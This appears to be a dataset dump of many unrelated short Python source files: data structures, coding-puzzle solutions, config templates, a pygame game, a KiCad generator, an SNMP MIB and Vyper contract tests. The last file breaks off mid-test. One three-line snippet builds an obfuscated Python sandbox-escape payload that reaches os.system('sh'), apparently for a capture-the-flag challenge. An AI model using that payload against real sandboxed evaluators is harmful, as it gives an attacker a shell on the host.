content
stringlengths
7
1.05M
# coding: utf-8 strings = ['KjgWZC', 'arf12', ''] for s in strings: if s.isalpha(): print("The string " + s + " consists of all letters.") else: print("The string " + s + " does not consist of all letters.")
''' In order to get the Learn credentials, they do not to open a case on behind the blackboard nor email developers@blackboard.com. They need to go to developer.blackboard.com and register from there to grab the Learn credentials for their application, it is also imperative to remind them that they are creating an application based on your code, so they need to register as a developer. Now, for Collaborate production they CAN and MUST create a ticket on behind the blackboard requesting their credentials. ''' ''' Copy this file to a new file called Config.py. Do not put active API credentials in a file tracked by git! ''' credenciales = { "verify_certs" : "True", "learn_rest_fqdn" : "learn URL", "learn_rest_key" : "Learn API Key", "learn_rest_secret" : "Learn API Secret", "collab_key": "Collab Key", "collab_secret": "Collab Secret", "collab_base_url": "us.bbcollab.com/collab/api/csa", "ppto_server" : "panoptoServer", "ppto_folder_id" : "panoptoFolderId", "ppto_client_id" : "panoptoClientId", "ppto_client_secret" : "panoptoClientSecret", "ppto_username" : "panoptoUserName", "ppto_password" : "panoptoPassword" }
""" Frozen subpackages for meta release. """ frozen_packages = { "libpysal": "4.2.2", "esda": "2.2.1", "giddy": "2.3.0", "inequality": "1.0.0", "pointpats": "2.1.0", "segregation": "1.2.0", "spaghetti": "1.4.1", "mgwr": "2.1.1", "spglm": "1.0.7", "spint": "1.0.6", "spreg": "1.0.4", "spvcm": "0.3.0", "tobler": "0.2.0", "mapclassify": "2.2.0", "splot": "1.1.2" }
class CardError(Exception): pass class IssuerNotRecognised(CardError): pass class InvalidCardNumber(CardError): pass
def Wspak(dane): for i in range(len(dane)-1, -1, -1): yield dane[i] tablica = Wspak([1, 2, 3]) print('tablica [1, 2, 3]', end=' ') print('[', end='') print(next(tablica), end=', ') print(next(tablica), end=', ') print(next(tablica), end=']') print()
''' python开始学习第一例:利用分支模拟用户登录 注意:input函数相当于java里面的Scanner类,当input接受的是字符串 ''' # 定义正确的用户名和密码 ACCOUNT = 'admin' PASSWORD = '654321' # 接收用户输入的账户信息 print('请输入用户名:') temp_account = input() print('请输入密码:') temp_password = input() # 校验结果 if not(temp_account and temp_password): print('用户名或者密码不能为空!') elif temp_account != ACCOUNT: print('用户名或密码不正确!') elif temp_password != PASSWORD: print('用户名或密码不正确!') else: print('恭喜你通过验证!!!')
class Solution: def getHint(self, secret, guess): ss, gs = {str(x): 0 for x in range(10)}, {str(x): 0 for x in range(10)} A = 0 for s, g in zip(secret, guess): if s == g: A += 1 ss[s] += 1 gs[g] += 1 ans = 0 for k, v in ss.items(): ans += min(v, gs[k]) return str(A) + "A" + str(ans - A) + "B"
class Sample: def __init__(self, source=None, data=None, history=None, uid=None): if history is not None: self.history = history elif source is not None: self.history = [("init", "", source)] else: self.history = [] if data is not None: self.data = data if "_lazy_resources" not in self.data.keys(): self.data["_lazy_resources"] = {} else: if uid is not None: self.data = {"uid": uid, "_lazy_resources": {}} else: raise ValueError("Need UID for sample!") def add_resource(self, source, resource_id, datum): assert resource_id not in self.data.keys() new_history = self.history + [("add", resource_id, source)] new_data = {resource_id: datum, **self.data} return Sample(data=new_data, history=new_history) def add_lazy_resource(self, source, resource_id, fn): new_history = self.history + [("add_lazy", resource_id, source)] new_lazy_resources = {resource_id: fn, **self.data["_lazy_resources"]} new_data = { "_lazy_resources": new_lazy_resources, **{k: v for k, v in self.data.items() if k != "_lazy_resources"}, } return Sample(data=new_data, history=new_history) def apply_on_resource(self, source, resource_id, fn): assert resource_id in self.data.keys() new_history = self.history + [("apply", resource_id, source)] new_data = {k: v if k != resource_id else fn(v) for k, v in self.data.items()} return Sample(data=new_data, history=new_history) def get_resource(self, resource_id): if resource_id in self.data.keys(): return self.data[resource_id] elif resource_id in self.data["_lazy_resources"].keys(): return self.data["_lazy_resources"][resource_id](self) else: raise ValueError(f"Unknown resource id {resource_id}") def get_resource_ids(self): return [k for k in self.data.keys() if not k.startswith("_")] + list( self.data["_lazy_resources"].keys() ) def has_resource(self, resource_id): return ( resource_id in self.data.keys() or resource_id in self.data["_lazy_resources"].keys() ) def __eq__(self, other): return self.data["uid"] == other.data["uid"] def __hash__(self): return hash(self.data["uid"])
# class Solution: # # @param A : integer # # @return a strings def findDigitsInBinary(self, A): res = "" while(A != 0): temp = A%2 res += str(temp) A = A//2 res = res[::-1] return res print(findDigitsInBinary(6))
class Solution(object): def minimumSum(self, num): """ :type num: int :rtype: int """ num = list(str(num)) min_sum = 9999 for i in range(3): s1 = int(num[i] + num[i + 1]) + int(num[i - 2] + num[i - 1]) s2 = int(num[i] + num[i + 1]) + int(num[i - 1] + num[i - 2]) s3 = int(num[i + 1] + num[i]) + int(num[i - 2] + num[i - 1]) s4 = int(num[i + 1] + num[i]) + int(num[i - 1] + num[i - 2]) min_sum = min(min_sum, s1, s2, s3, s4) return min_sum if __name__ == '__main__': obj = Solution() num = 2932 obj.minimumSum(num)
#!python class Node(object): def __init__(self, data): """Initialize this node with the given data""" self.data = data self.prev = None self.next = None def __repr__(self): """Return a string representation of this node""" return 'Node({!r})'.format(self.data) class DoublyLinkedList(object): def __init__(self, iterable=None): """Initialize the linked list and append the given items, if any""" self.head = None self.tail = None self.size = 0 if iterable is not None: for item in iterable: self.append(item) def __str__(self): """Return a formatted string representation of this linked list.""" items = ['({!r})'.format(item) for item in self.items()] return '[{}]'.format(' <-> '.join(items)) def __repr__(self): """Return a string representation of this linked list.""" return 'LinkedList({!r})'.format(self.items()) def items(self): """Returns all the items in the doubly linked list""" result = [] node = self.head while node is not None: result.append(node.data) node = node.next return result def is_empty(self): """Returns True is list is empty and False if not""" return True if self.head is None else False def length(self): """Returns the lenght(size) if the list""" return self.size def get_at_index(self, index): """Returns the item at the index or rases a value error if index exceeds the size of the list""" if not (0 <= index < self.size): raise ValueError('List index out of range: {}'.format(index)) node = self.head while index > 0: node = node.next index -= 1 return node.data def insert_at_index(self, index, item): """Inserts an item into the list at a given index or rases a value error is index is greater that the size of the list or less that 0""" node = self.head new_node = Node(item) if not (0 <= index <= self.size): raise ValueError('List index out of range: {}'.format(index)) if self.size > 0: while index > 1: node = node.next index -= 1 if node.prev is not None: if node.next is None: self.tail = new_node node.prev.next = new_node new_node.prev = node.prev if node.prev is None: self.head = new_node new_node.next = node node.prev = new_node else: self.head, self.tail = new_node, new_node self.size += 1 def append(self, item): """Intert a given item at the end of the list""" new_node = Node(item) if self.is_empty(): self.head = new_node else: self.tail.next = new_node new_node.prev = self.tail self.tail = new_node self.size += 1 def prepend(self, item): """Insert a given item at the beging of the list""" new_node = Node(item) if self.is_empty(): self.tail = new_node else: new_node.next = self.head self.head.prev = new_node self.head = new_node self.size += 1 def find(self, quality): """Return an item based on the quality or None if no item was found with the quality""" node = self.head while node is not None: if quality(node.data): return node.data node = node.next return None def replace(self, old_item, new_item): """Replaces the node's data that holds the old data with the new data or None if there is no node that holds old data""" node = self.head while node is not None: if node.data == old_item: node.data = new_item break node = node.next else: raise ValueError('Item not found in list') def delete(self, item): """Delete the given item from the list, or raise a value error""" node = self.head found = False while not found and node is not None: if node.data == item: found = True else: node = node.next if found: if node is not self.head and node is not self.tail: if node.next is not None: node.next.prev = node.prev node.prev.next = node.next node.prev = None node.next = None if node is self.head: if self.head is not None: self.head.prev = None self.head = node.next node.next = None if node is self.tail: self.tail = node.prev if node.prev is not None: node.prev.next = None node.prev = None self.size -= 1 break else: raise ValueError('Item not found: {}'.format(item)) def test_doubly_linked_list(): ll = DoublyLinkedList() print(ll) print('Appending items:') ll.append('A') print(ll) ll.append('B') print(ll) ll.append('C') print(ll) print('head: {}'.format(ll.head)) print('tail: {}'.format(ll.tail)) print('size: {}'.format(ll.size)) print('length: {}'.format(ll.length())) print('Getting items by index:') for index in range(ll.size): item = ll.get_at_index(index) print('get_at_index({}): {!r}'.format(index, item)) print('Deleting items:') ll.delete('B') print(ll) ll.delete('C') print(ll) ll.delete('A') print(ll) print('head: {}'.format(ll.head)) print('tail: {}'.format(ll.tail)) print('size: {}'.format(ll.size)) print('length: {}'.format(ll.length())) if __name__ == '__main__': test_doubly_linked_list()
""" Shortest path: Find the shortest path (of neighbors) from s to v for all v """ def shortest_path(s, v, memoize={}): """ Brute force shortest path from v to s """ if (s,v) in memoize: return memoize[(s,v)] shortest = None best_neighbor = None for neighbor in v.neighbors: possibly_shortest_path, next_neighbors = shortest_path(s, neighbor) possibly_shortest_path += v.dist(neighbor) if not shortest or possibly_shortest_path < shortest: path = next_neighbors + [neighbor] shortest = possibly_shortest_path if not shortest: return 0, [s] memoize[(s,v)] = (shortest, path) return shortest, path def test_shortest_path(): """ Simple Graph to test S -> A -> B -> C -> V 5 5 5 5 Distance should be 20 """ s = SimpleDirectedNode({}) a = SimpleDirectedNode({s:5}) b = SimpleDirectedNode({a:5}) c = SimpleDirectedNode({b:5}) v = SimpleDirectedNode({c:5}) calculated_shortest_distance = shortest_path(s, v)[0] assert(calculated_shortest_distance == 20) class SimpleDirectedNode: def __init__(self, edges): self.neighbors = [] self._weights = {} for node, weight in edges.items(): self.neighbors.append(node) self._weights[node] = weight def dist(self, neighbor): return self._weights[neighbor] if __name__ == "__main__": test_shortest_path()
pygame, random, sys pygame.init() screen_width, screen_height = 400, 600 SCORE_FONT = pygame.font.SysFont('comicsans', 40) screen = pygame.display.set_mode((screen_width,screen_height)) pygame.display.set_caption("Stack towers") BLACK = (0,0,0) RED = (255,0,0) BLUE = (0,0,255) GREEN = (0,255,0) YELLOW = (255,212,69) WHITE = (255,255,255) PINK = (255, 105, 180) colors = [RED, BLUE, GREEN, YELLOW, WHITE, PINK] cur_rec = None move_left = True clock = pygame.time.Clock() length = 200 score = 0 class Block: def __init__(self, length, y=screen_height-50): self.color = random.choice(colors) self.shape = pygame.Rect((screen_width//4, y),(length,50)) rectangles=[Block(200),Block(200,screen_height-100)] going_down = False went_down = 0 while True: for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() pygame.quit() elif event.type == pygame.KEYDOWN: if event.key == pygame.K_SPACE and cur_rec: h = rectangles[-2] h = h.shape.x+h.shape.width cover = cur_rec.shape.x+cur_rec.shape.width if cover != h: if cover < h: length -= h-cover cur_rec.shape.x = rectangles[-2].shape.x elif cover > h: length -= cover-h cur_rec.shape.x = h-length if length <= 0: print('You lost, score: ' + str(score)) pygame.quit() sys.exit() score += 1 while not cur_rec.shape.colliderect(rectangles[-2].shape): cur_rec.shape.y += 1 cur_rec.shape.y-=1 cur_rec.shape.width = length going_down = True while going_down: went_down += 3 for rectangle in rectangles: rectangle.shape.y += 3 screen.fill(BLACK) for num, rectangle in enumerate(rectangles): if not rectangle.shape.y > screen_width+200: pygame.draw.rect(screen, rectangle.color, rectangle.shape) score_text = SCORE_FONT.render("Score: " + str(score), 1, RED) screen.blit(score_text, (10, 10)) pygame.display.update() if went_down >= 48: going_down = False went_down = 0 cur_rec = None if not cur_rec: cur_rec = Block(length, screen_height-350) rectangles.append(cur_rec) if cur_rec: if move_left: cur_rec.shape.x -= 3 if cur_rec.shape.x <= 0: move_left = False else: cur_rec.shape.x += 3 if (cur_rec.shape.x+cur_rec.shape.width) >= screen_width: move_left = True screen.fill(BLACK) for num, rectangle in enumerate(rectangles): if not rectangle.shape.y > screen_width+200: pygame.draw.rect(screen, rectangle.color, rectangle.shape) score_text = SCORE_FONT.render("Score: " + str(score), 1, RED) screen.blit(score_text, (10, 10)) pygame.display.update() clock.tick(60)
def main(): pins = {} subconnectors = ["A", "B", "C", "D"] curr_connector = None with open("pins.txt", "r") as f: for line in f: l = line.split("#")[0].strip() if len(l) == 0: continue if l[0] == '.': curr_connector = l[1:] for sc in subconnectors: pins[f"{curr_connector[-1]}{sc}"] = [] continue l = l.split(" ") assert len(l) == (len(subconnectors) + 1) for (sc, pin_name) in zip(subconnectors, l[1:]): pins[f"{curr_connector[-1]}{sc}"].append((l[0], pin_name)) lib_name = "kria_k26" comp_name = "KRIA_K26" with open(f"../{lib_name}.kicad_sym", "w") as f: print(f'(kicad_symbol_lib (version 20201005) (generator kria_k26_import)', file=f) print(f' (symbol "{lib_name}:{comp_name}" (in_bom yes) (on_board yes)', file=f) print(f' (property "Reference" "SOM" (id 0) (at 0 1.27 0)', file=f) print(f' (effects (font (size 1.27 1.27)))', file=f) print(f' )', file=f) print(f' (property "Value" "{lib_name}" (id 1) (at 0 3.81 0)', file=f) print(f' (effects (font (size 1.27 1.27)))', file=f) print(f' )', file=f) print(f' (property "Footprint" "" (id 2) (at 0 0 0)', file=f) print(f' (effects (font (size 1.27 1.27)) hide)', file=f) print(f' )', file=f) print(f' (property "Datasheet" "" (id 3) (at 0 0 0)', file=f) print(f' (effects (font (size 1.27 1.27)) hide)', file=f) print(f' )', file=f) for (i, (unit, pins)) in enumerate(sorted(pins.items(), key=lambda x: x[0])): pin_x = -20.32 pin_y = -2.54 pin_dy = -2.54 pin_len = 5.08 print(f' (symbol "{comp_name}_{i+1}_1"', file=f) for pin_num, pin_name in pins: print(f' (pin passive line (at {pin_x:.2f} {pin_y:.2f} 0) (length {pin_len})', file=f) print(f' (name "{pin_name}" (effects (font (size 1.27 1.27))))', file=f) print(f' (number "{unit}{pin_num}" (effects (font (size 1.27 1.27))))', file=f) print(f' )', file=f) pin_y += pin_dy print(f' (rectangle (start {pin_x + pin_len:.2f} 0) (end {-(pin_x + pin_len):.2f} {pin_y:.2f})', file=f) print(f' (stroke (width 0.1524)) (fill (type background))', file=f) print(f' )', file=f) print(f' )', file=f) print(f' )', file=f) print(f')', file=f) if __name__ == '__main__': main()
stations = [ '12th St. Oakland City Center', '16th St. Mission (SF)', '19th St. Oakland', '24th St. Mission (SF)', 'Ashby (Berkeley)', 'Balboa Park (SF)', 'Bay Fair (San Leandro)', 'Castro Valley', 'Civic Center (SF)', 'Coliseum/Oakland Airport', 'Colma', 'Concord', 'Daly City', 'Downtown Berkeley', 'Dublin/Pleasanton', 'El Cerrito del Norte', 'El Cerrito Plaza', 'Embarcadero (SF)', 'Fremont', 'Fruitvale (Oakland)', 'Glen Park (SF)', 'Hayward', 'Lafayette', 'Lake Merritt (Oakland)', 'MacArthur (Oakland)', 'Millbrae', 'Montgomery St. (SF)', 'North Berkeley', 'North Concord/Martinez', 'Orinda', 'Pittsburg/Bay Point', 'Pleasant Hill', 'Powell St. (SF)', 'Richmond', 'Rockridge (Oakland)', 'San Bruno', 'San Francisco Int\'l Airport', 'San Leandro', 'South Hayward', 'South San Francisco', 'Union City', 'Walnut Creek', 'West Dublin', 'West Oakland' ]
def palindrome(word, index): second_index = len(word) - 1 - index if index == len(word) // 2: return f"{word} is a palindrome" if word[index] == word[second_index]: return palindrome(word, index + 1) else: return f"{word} is not a palindrome" print(palindrome("abcba", 0)) print(palindrome("peter", 0))
# función para mostrar el mensaje cifrado al usuario # parametros de entrada: tasa - tasa que se uso para la encriptación # mensaje - mensaje encriptado en string def mensaje_usuario(tasa, mensaje_cifrado): # funcion 6 print('Tu mensaje es:', mensaje_cifrado, 'La tasa usada es:', tasa) # no tiene retorno # imprime un mesaje al usuario en donde le muestra su mensaje y con que tasa se creo
# Configuration file for the Sphinx documentation builder. # -- Project information project = 'PDFsak' copyright = '2021, Raffaele Mancuso' author = 'Raffaele Mancuso' release = '1.1' version = '1.1.1' # -- General configuration extensions = [ 'sphinx.ext.duration', 'sphinx.ext.doctest', 'sphinx.ext.autodoc', 'sphinx.ext.autosummary', 'sphinx.ext.intersphinx', ] intersphinx_mapping = { 'python': ('https://docs.python.org/3/', None), 'sphinx': ('https://www.sphinx-doc.org/en/master/', None), } intersphinx_disabled_domains = ['std'] templates_path = ['_templates'] # -- Options for HTML output html_theme = 'sphinx_rtd_theme' # -- Options for EPUB output epub_show_urls = 'footnote'
s = '().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")' s2 = '+'.join(['\'{}\''.format(x) for x in s]) print('(lambda:sandboxed_eval({}))()'.format(s2))
# -*- coding: utf-8 -*- # ------------------------------------------------------------------------- # This is a sample controller # this file is released under public domain and you can use without limitations # ------------------------------------------------------------------------- # ---- example index page ---- def index(): images = db().select(db.image.ALL, orderby=db.image.title) return dict(images=images) @auth.requires_login() def show(): image = db.image(request.args(0, cast=int)) or redirect(URL('index')) db.post.image_id.default = image.id form = SQLFORM(db.post) if form.process().accepted: response.flash = 'Seu comentário foi postado' comments = db(db.post.image_id == image.id).select() return dict(image=image, comments=comments, form=form) def download(): return response.download(request, db) # ---- API (example) ----- @auth.requires_login() def api_get_user_email(): if not request.env.request_method == 'GET': raise HTTP(403) return response.json({'status':'success', 'email':auth.user.email}) # ---- Smart Grid (example) ----- @auth.requires_membership('admin') # can only be accessed by members of admin groupd def grid(): response.view = 'generic.html' # use a generic view tablename = request.args(0) if not tablename in db.tables: raise HTTP(403) grid = SQLFORM.smartgrid(db[tablename], args=[tablename], deletable=False, editable=False) return dict(grid=grid) # ---- Embedded wiki (example) ---- def wiki(): auth.wikimenu() # add the wiki to the menu return auth.wiki() # ---- Action for login/register/etc (required for auth) ----- def user(): """ exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to decorate functions that need access control also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users """ return dict(form=auth()) # ---- action to server uploaded static content (required) --- @cache.action() def download(): """ allows downloading of uploaded files http://..../[app]/default/download/[filename] """ return response.download(request, db) @auth.requires_membership('manager') def manage(): grid = SQLFORM.smartgrid(db.image, linked_tables=['post']) return dict(grid=grid)
""" Copyright 2017 Neural Networks and Deep Learning lab, MIPT Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ REQ_URLS = { 'http://lnsigo.mipt.ru/export/deeppavlov_data/go_bot_rnn.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/intents.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/ner.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/error_model.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/vocabs.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/slots.tar.gz', 'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/dstc2_fasttext_model_100.bin', 'http://lnsigo.mipt.ru/export/datasets/dstc2.tar.gz' } OPT_URLS = { 'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/wiki.en.bin' } ALL_URLS = REQ_URLS.union(OPT_URLS) EMBEDDING_URLS = { 'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/wiki.en.bin', 'http://lnsigo.mipt.ru/export/deeppavlov_data/embeddings/dstc2_fasttext_model_100.bin' } DATA_URLS = { 'http://lnsigo.mipt.ru/export/datasets/dstc2.tar.gz' }
def head(xs): """ Напишете функция `head`, която взима списък и връща първият елемент на този списък. **Не се грижете, ако списъка е празен** >>> head([1,2,3]) 1 >>> head(["Python"]) 'Python' """ pass
# encoding = utf-8 __author__ = "Ang Li" class Person: x = 100 def __init__(self, name, age=18): self.name = name self.age = age def showage(self): return "{} is {}".format(self.name, self.age) print(*Person.__dict__.items(), sep='\n') # 类字典 __dict__ print('-' * 30) tom = Person('Tom', 20) print(*tom.__dict__.items(), sep='\n') # 实例字典
LIB_IMPORT = """ from qiskit import QuantumCircuit from qiskit import execute, Aer from qiskit.visualization import *""" CIRCUIT_SCRIPT = """ circuit = build_state() circuit.measure_all() figure = circuit.draw('mpl') output = figure.savefig('circuit.png')""" PLOT_SCRIPT = """ backend = Aer.get_backend("qasm_simulator") job = execute(circuit,backend=backend, shots =1000) counts = job.result().get_counts() plot_histogram(counts).savefig('plot.png', dpi=100, quality=90)"""
class Solution(object): def reverse(self, x): """ :type x: int :rtype: int """ answer = 0 if x >=0 : while x > 0: answer = answer*10 + x%10 x = x/10 if answer > 2147483647: return 0 else: return answer else: x=abs(x) while x > 0: answer = answer*10 + x%10 x = x/10 if -answer < -2147483648: return 0 else: return -answer
def isMAC48Address(inputString): letters = ['A','B', 'C','D','E','F'] string = inputString.split('-') input = len(string) if input != 6: return False for i in range(input): subInput = string[i] subString = len(subInput) if subString != 2: return False for j in range(subString): if ((subInput[j].isnumeric() == False) and (subInput[j] not in letters)): return False return True
#!/usr/bin/env python ## Global macros SNIFF_TIMEOUT = 5 AGGREGATION_TIMEOUT = 5 ACTIVE_TIMEOUT = 20 ## If a flow doesn't have a packet traversing a router during ACTIVE_TIMEOUT, it will be removed from monitored flows BATCH_SIZE = 1000 MAX_BG_TRAFFIC_TO_READ = 5000 MIN_REPORT_SIZE = 600 ## Only send summary report if number of traversing packets greater than this threshold BG_TRAFFIC_SIZE = 900 ## Background traffic SVD_MATRIX_RANK = 12 ## NUM_HEADER_FIELDS = 22 KMEAN_NUM_CLUSTERS = 200 MAX_SUMMARY_ID = 100 ## Global variables ## List containing background traffic g_background_traffic = {}
class AirTable: # AirTable configuration variables API_KEY = '' BASE = '' PROJECT_TABLE_NAME = '' PROJECT_PHASE_OWNERS_TABLE = '' PROJECT_PHASE_FIELD = '' ASSIGNEE_FIELD = ''
n=int(input("Enter a number:")) tot=0 while(n>0): dig=n%10 tot=tot+dig n=n//10 print("The total sum of digits is:",tot)
class Node: '''This class is just for creating a Node with some data, thats why we set the refrence field to Null''' def __init__(self, data): self.data = data self.nref = None self.pref = None class Doubly_LL: '''This class is for performing the operations to the node which we create using class Node''' def __init__(self): self.head = None # initially we take empty linked list def print_LL_forward(self): '''This methord is for traversing doubly Linked List in the forward direction''' if self.head is None: # if the linked list is empty print('The linked list is empty') else: pn=0 n = self.head while n is not None: print(n.data, end=(' --> ')) n = n.nref pn+=1 print() return pn def print_LL_reverse(self): '''This methord is for traversing doubly Linked List in the backward direction''' print('\n\n\n') if self.head == None: # if the linked list is empty print('The linked list is empty') else: n = self.head # set the head node as n while n.nref is not None: # first we reach at the last node n = n.nref while n is not None: # then we start reverse traversing print(n.data, end=' --> ') n = n.pref def add_begin(self, data): '''This methord add new node at the begining of the doubly linked list''' new_node = Node(data) if self.head is None: self.head = new_node else: new_node.nref = self.head self.head.pref = new_node self.head = new_node def add_end(self, data): '''This methord add a new node at the end of the doubly linked list''' new_node = Node(data) if self.head == None: self.head = new_node else: n = self.head while n.nref is not None: n = n.nref n.nref = new_node new_node.pref = n def one_step_forward(self, x): '''This step move the current pointer one step forward from the current node''' n = self.head while n is not None: if x==n.data: break n = n.nref n = n.nref next_node = n return next_node.data def one_step_backward(self, x): '''This step move the current pointer one step backward from the current node''' n = self.head while n is not None: if x==n.nref.data: break n = n.nref previous_node = n return previous_node.data def add_after(self,data,x): n = self.head while n is not None: if x == n.data: break n = n.nref if n is None: print("Given Node is not presnt in Linked List!") elif n.nref is None: new_node = Node(data) n.nref = new_node new_node.pref = n else: new_node = Node(data) n.nref.pref = new_node new_node.nref = n.nref n.nref = new_node new_node.pref = n if __name__ == '__main__': mynode = Doubly_LL() mynode.add_begin('5') mynode.print_LL_forward() mynode.add_begin('4') mynode.print_LL_forward() mynode.add_begin('3') mynode.print_LL_forward() mynode.add_begin('2') mynode.print_LL_forward() mynode.add_begin('1') mynode.print_LL_forward() mynode.add_end('6') mynode.print_LL_forward() mynode.add_end('7') mynode.print_LL_forward() print(mynode.one_step_backward('2')) print(mynode.one_step_forward('4'))
# # PySNMP MIB module ZYXEL-IF-LOOPBACK-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ZYXEL-IF-LOOPBACK-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 21:44:07 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "OctetString", "Integer", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsUnion") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") Counter32, ObjectIdentity, Counter64, ModuleIdentity, Integer32, Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, TimeTicks, iso, Unsigned32, MibIdentifier, Bits, NotificationType, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "ObjectIdentity", "Counter64", "ModuleIdentity", "Integer32", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "TimeTicks", "iso", "Unsigned32", "MibIdentifier", "Bits", "NotificationType", "IpAddress") DisplayString, TextualConvention, RowStatus = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention", "RowStatus") esMgmt, = mibBuilder.importSymbols("ZYXEL-ES-SMI", "esMgmt") zyxelIfLoopback = ModuleIdentity((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28)) if mibBuilder.loadTexts: zyxelIfLoopback.setLastUpdated('201207010000Z') if mibBuilder.loadTexts: zyxelIfLoopback.setOrganization('Enterprise Solution ZyXEL') zyxelIfLoopbackSetup = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1)) zyIfLoopbackMaxNumberOfIfs = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyIfLoopbackMaxNumberOfIfs.setStatus('current') zyxelIfLoopbackTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2), ) if mibBuilder.loadTexts: zyxelIfLoopbackTable.setStatus('current') zyxelIfLoopbackEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1), ).setIndexNames((0, "ZYXEL-IF-LOOPBACK-MIB", "zyIfLoopbackId")) if mibBuilder.loadTexts: zyxelIfLoopbackEntry.setStatus('current') zyIfLoopbackId = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 1), Integer32()) if mibBuilder.loadTexts: zyIfLoopbackId.setStatus('current') zyIfLoopbackName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 2), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: zyIfLoopbackName.setStatus('current') zyIfLoopbackIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: zyIfLoopbackIpAddress.setStatus('current') zyIfLoopbackMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 4), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: zyIfLoopbackMask.setStatus('current') zyIfLoopbackRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 28, 1, 2, 1, 5), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: zyIfLoopbackRowStatus.setStatus('current') mibBuilder.exportSymbols("ZYXEL-IF-LOOPBACK-MIB", zyIfLoopbackName=zyIfLoopbackName, zyxelIfLoopbackTable=zyxelIfLoopbackTable, zyIfLoopbackMask=zyIfLoopbackMask, zyIfLoopbackId=zyIfLoopbackId, PYSNMP_MODULE_ID=zyxelIfLoopback, zyIfLoopbackRowStatus=zyIfLoopbackRowStatus, zyxelIfLoopbackEntry=zyxelIfLoopbackEntry, zyIfLoopbackIpAddress=zyIfLoopbackIpAddress, zyxelIfLoopbackSetup=zyxelIfLoopbackSetup, zyxelIfLoopback=zyxelIfLoopback, zyIfLoopbackMaxNumberOfIfs=zyIfLoopbackMaxNumberOfIfs)
def test_throw_on_sending(w3, assert_tx_failed, get_contract_with_gas_estimation): code = """ x: public(int128) @external def __init__(): self.x = 123 """ c = get_contract_with_gas_estimation(code) assert c.x() == 123 assert w3.eth.getBalance(c.address) == 0 assert_tx_failed( lambda: w3.eth.sendTransaction({"to": c.address, "value": w3.toWei(0.1, "ether")}) ) assert w3.eth.getBalance(c.address) == 0 def test_basic_default(w3, get_logs, get_contract_with_gas_estimation): code = """ event Sent: sender: indexed(address) @external @payable def __default__(): log Sent(msg.sender) """ c = get_contract_with_gas_estimation(code) logs = get_logs(w3.eth.sendTransaction({"to": c.address, "value": 10 ** 17}), c, "Sent") assert w3.eth.accounts[0] == logs[0].args.sender assert w3.eth.getBalance(c.address) == w3.toWei(0.1, "ether") def test_basic_default_default_param_function(w3, get_logs, get_contract_with_gas_estimation): code = """ event Sent: sender: indexed(address) @external @payable def fooBar(a: int128 = 12345) -> int128: log Sent(ZERO_ADDRESS) return a @external @payable def __default__(): log Sent(msg.sender) """ c = get_contract_with_gas_estimation(code) logs = get_logs(w3.eth.sendTransaction({"to": c.address, "value": 10 ** 17}), c, "Sent") assert w3.eth.accounts[0] == logs[0].args.sender assert w3.eth.getBalance(c.address) == w3.toWei(0.1, "ether") def test_basic_default_not_payable(w3, assert_tx_failed, get_contract_with_gas_estimation): code = """ event Sent: sender: indexed(address) @external def __default__(): log 